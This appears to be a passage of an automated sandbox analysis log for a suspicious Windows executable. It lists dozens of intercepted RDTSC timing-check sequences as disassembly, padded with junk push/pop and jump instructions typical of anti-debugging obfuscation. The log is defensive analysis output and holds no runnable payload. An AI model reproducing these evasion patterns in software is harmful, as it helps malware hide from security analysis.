Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D3F6E second address: 4D3F78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAD60CE3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D427A second address: 4D4280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D4280 second address: 4D4284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D4284 second address: 4D4290 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D4290 second address: 4D4296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D4296 second address: 4D429A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D429A second address: 4D429E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D429E second address: 4D42E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA416h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FAD607DA40Ch 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAD607DA411h 0x0000001a jmp 00007FAD607DA40Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D42E8 second address: 4D42F5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D42F5 second address: 4D430C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAD607DA406h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FAD607DA406h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D430C second address: 4D4316 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD60CE3D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D4815 second address: 4D4833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAD607DA412h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D51EA second address: 4D51F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D8DF2 second address: 4D8DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D8DF8 second address: 4D8E23 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FAD60CE3D76h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 jbe 00007FAD60CE3D76h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FAD60CE3D7Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F135F second address: 4F1363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F1363 second address: 4F1380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAD60CE3D81h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F1380 second address: 4F1386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F3FCC second address: 4F3FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F73AB second address: 4F73AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F73AF second address: 4F73C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAD60CE3D7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F9B99 second address: 4F9B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4F9B9E second address: 4F9BA8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAD60CE3D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C101 second address: 50C107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C107 second address: 50C10B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C10B second address: 50C111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C111 second address: 50C13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FAD60CE3D89h 0x0000000c pop ebx 0x0000000d popad 0x0000000e jng 00007FAD60CE3DB5h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C13D second address: 50C143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C143 second address: 50C147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C147 second address: 50C14D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C14D second address: 50C174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FAD60CE3D95h 0x0000000c jmp 00007FAD60CE3D89h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C41E second address: 50C428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C5A2 second address: 50C5B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C5B5 second address: 50C5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50C9C1 second address: 50CA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FAD60CE3D85h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FAD60CE3D86h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50CA00 second address: 50CA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FAD607DA40Ah 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50CA11 second address: 50CA2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D86h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50CA2D second address: 50CA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50CB86 second address: 50CBB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD60CE3D81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50CD0C second address: 50CD1C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD607DA412h 0x00000008 ja 00007FAD607DA406h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50FE55 second address: 50FE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50FE64 second address: 50FE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50FE6C second address: 50FE70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 50FE70 second address: 50FE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5126E7 second address: 5126EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5126EB second address: 512701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 512701 second address: 51270A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 512996 second address: 5129B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD607DA418h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5129B2 second address: 5129B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5129B6 second address: 5129C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FAD607DA406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5129C9 second address: 5129D3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5129D3 second address: 5129DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAD607DA406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 514439 second address: 514479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D89h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d push edi 0x0000000e jmp 00007FAD60CE3D89h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43376C second address: 433770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170313 second address: 5170343 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAD60CE3D7Ah 0x00000012 jmp 00007FAD60CE3D85h 0x00000017 popfd 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170343 second address: 5170351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170351 second address: 5170355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170355 second address: 5170367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170367 second address: 51703A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 1774h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edx, dword ptr [ebp+0Ch] 0x0000000f jmp 00007FAD60CE3D89h 0x00000014 mov ecx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FAD60CE3D7Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51703E5 second address: 51703EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51703EB second address: 51703EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51703EF second address: 517040D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ebx, 04210406h 0x00000014 movsx edx, ax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51907E2 second address: 519081E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D7Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FAD60CE3D7Fh 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAD60CE3D80h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 519081E second address: 5190822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190822 second address: 5190828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190828 second address: 5190866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAD607DA410h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD607DA417h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190866 second address: 519086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 519086C second address: 51908B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, BDB3h 0x0000000e popad 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FAD607DA40Eh 0x00000018 pushfd 0x00000019 jmp 00007FAD607DA412h 0x0000001e sub ch, FFFFFFE8h 0x00000021 jmp 00007FAD607DA40Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51908B0 second address: 51908C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51908C8 second address: 51908CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51908CC second address: 51908EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD60CE3D83h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51908EA second address: 519097C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov dx, A666h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], esi 0x00000010 jmp 00007FAD607DA40Dh 0x00000015 lea eax, dword ptr [ebp-04h] 0x00000018 pushad 0x00000019 jmp 00007FAD607DA40Ch 0x0000001e pushfd 0x0000001f jmp 00007FAD607DA412h 0x00000024 sub ecx, 26767138h 0x0000002a jmp 00007FAD607DA40Bh 0x0000002f popfd 0x00000030 popad 0x00000031 nop 0x00000032 pushad 0x00000033 mov edx, ecx 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007FAD607DA40Ch 0x0000003c nop 0x0000003d jmp 00007FAD607DA410h 0x00000042 push dword ptr [ebp+08h] 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FAD607DA417h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51909B5 second address: 5190A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD60CE3D7Fh 0x00000009 add ecx, 293FB3CEh 0x0000000f jmp 00007FAD60CE3D89h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FAD60CE3D80h 0x0000001b or eax, 063A9448h 0x00000021 jmp 00007FAD60CE3D7Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a cmp dword ptr [ebp-04h], 00000000h 0x0000002e pushad 0x0000002f mov edx, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FAD60CE3D7Eh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180036 second address: 518003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518003B second address: 5180099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FAD60CE3D84h 0x00000011 add ch, 00000018h 0x00000014 jmp 00007FAD60CE3D7Bh 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007FAD60CE3D84h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov di, cx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180099 second address: 51800C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA40Fh 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FAD607DA40Bh 0x00000014 pop esi 0x00000015 mov bh, BEh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51800C1 second address: 518011B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD60CE3D81h 0x00000009 xor cx, F076h 0x0000000e jmp 00007FAD60CE3D81h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 sub esp, 2Ch 0x0000001c jmp 00007FAD60CE3D7Ch 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FAD60CE3D87h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518011B second address: 5180174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007FAD607DA419h 0x00000012 and eax, 14560F46h 0x00000018 jmp 00007FAD607DA411h 0x0000001d popfd 0x0000001e pop eax 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180174 second address: 5180199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, edi 0x00000007 pushad 0x00000008 mov eax, 7C894D3Dh 0x0000000d mov bx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov di, 5F18h 0x00000017 mov dx, 54C4h 0x0000001b popad 0x0000001c xchg eax, edi 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov edx, 61B0CC3Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180199 second address: 51801CD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD607DA40Bh 0x00000008 add esi, 425CBBDEh 0x0000000e jmp 00007FAD607DA419h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ebx, ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51801F9 second address: 51801FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
